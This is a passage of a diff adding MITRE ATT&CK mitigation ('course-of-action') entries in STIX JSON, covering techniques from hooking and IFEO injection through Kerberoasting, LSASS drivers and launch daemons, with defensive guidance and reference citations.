Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:37:27.850Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1179", + "external_id": "T1179", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Hypervisor Mitigation", + "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:37:57.004Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1062", + "external_id": "T1062", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Image File Execution Options Injection Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.882Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1183", + "url": "https://attack.mitre.org/mitigations/T1183" + }, + { + "url": "https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c", + "description": "Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.", + "source_name": "Microsoft IFEOorMalware July 2015" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Indicator Blocking Mitigation", + "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:39:30.292Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1054", + "external_id": "T1054", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Indicator Removal from Tools Mitigation", + "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.753Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1066", + "external_id": "T1066", + "source_name": "mitre-attack" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Indicator Removal on Host Mitigation", + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:40:27.401Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1070", + "external_id": "T1070", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Indirect Command Execution Mitigation", + "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.370Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1202", + "url": "https://attack.mitre.org/mitigations/T1202" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + }, + { + "url": "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39", + "description": "Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019.", + "source_name": "SpectorOPs SettingContent-ms Jun 2018" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1e614ba5-2fc5-4464-b512-2ceafb14d76d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Inhibit System Recovery Mitigation", + "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.917Z", + "created": "2019-04-22T13:54:51.385Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1490", + "url": "https://attack.mitre.org/mitigations/T1490" + }, + { + "url": "https://www.ready.gov/business/implementation/IT", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Input Prompt Mitigation", + "description": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:42:41.375Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1141", + "external_id": "T1141", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Install Root Certificate Mitigation", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)", + "x_mitre_version": "1.0", + "modified": "2020-03-31T12:49:14.885Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1130", + "url": "https://attack.mitre.org/mitigations/T1130" + }, + { + "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning", + "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.", + "source_name": "Wikipedia HPKP" + }, + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "InstallUtil Mitigation", + "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:43:58.738Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1118", + "external_id": "T1118", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Kerberoasting Mitigation", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:44:28.440Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1208", + "external_id": "T1208", + "source_name": "mitre-attack" + }, + { + "url": "https://adsecurity.org/?p=2293", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "source_name": "AdSecurity Cracking Kerberos Dec 2015" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--a3e12b04-8598-4909-8855-2c97c1e7d549", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Kernel Modules and Extensions Mitigation", + "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:44:56.371Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1215", + "external_id": "T1215", + "source_name": "mitre-attack" + }, + { + "source_name": "SourceForge rkhunter", + "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.", + "url": "http://rkhunter.sourceforge.net" + }, + { + "source_name": "Chkrootkit Main", + "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.", + "url": "http://www.chkrootkit.org/" + }, + { + "source_name": "Kernel.org Restrict Kernel Module", + "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.", + "url": "https://patchwork.kernel.org/patch/8754821/" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Keychain Mitigation", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:45:38.627Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1142", + "external_id": "T1142", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "LC_LOAD_DYLIB Addition Mitigation", + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:45:55.012Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1161", + "external_id": "T1161", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "LC_MAIN Hijacking Mitigation", + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:46:16.474Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1149", + "external_id": "T1149", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "LLMNR/NBT-NS Poisoning Mitigation", + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:46:41.947Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1171", + "external_id": "T1171", + "source_name": "mitre-attack" + }, + { + "url": "https://adsecurity.org/?p=3299", + "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.", + "source_name": "ADSecurity Windows Secure Baseline" + }, + { + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "source_name": "byt3bl33d3r NTLM Relaying" + }, + { + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "source_name": "Secure Ideas SMB Relay" + }, + { + "source_name": "Microsoft SMB Packet Signing", + "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.", + "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "LSASS Driver Mitigation", + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:47:23.978Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1177", + "external_id": "T1177", + "source_name": "mitre-attack" + }, + { + "url": "https://technet.microsoft.com/library/dn408187.aspx", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "source_name": "Microsoft LSA Protection Mar 2014" + }, + { + "source_name": "Microsoft Enable Cred Guard April 2017", + "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage" + }, + { + "source_name": "Microsoft Credential Guard April 2017", + "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "source_name": "Microsoft DLL Security" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Launch Agent Mitigation", + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:47:59.038Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1159", + "external_id": "T1159", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Launch Daemon Mitigation", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:48:23.825Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1160", + "external_id": "T1160", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Launchctl Mitigation", + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:48:43.583Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1152", + "external_id": "T1152", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "id": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", + "x_mitre_version": "1.0", + "modified": "2020-06-09T20:51:00.027Z", + "created": "2019-06-11T16:30:16.672Z", + "name": "Limit Access to Resource Over Network", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1035", + "external_id": "M1035", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Limit Hardware Installation", + "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", + "x_mitre_version": "1.0", + "modified": "2020-06-09T20:48:12.326Z", + "id": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "created": "2019-06-11T16:28:41.809Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1034", + "external_id": "M1034", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "course-of-action", + "modified": "2019-06-11T16:26:52.202Z", + "id": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "description": "Block users or groups from installing unapproved software.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Limit Software Installation", + "created": "2019-06-11T16:26:52.202Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1033", + "external_id": "M1033", + "source_name": "mitre-attack" + } + ] + }, + { + 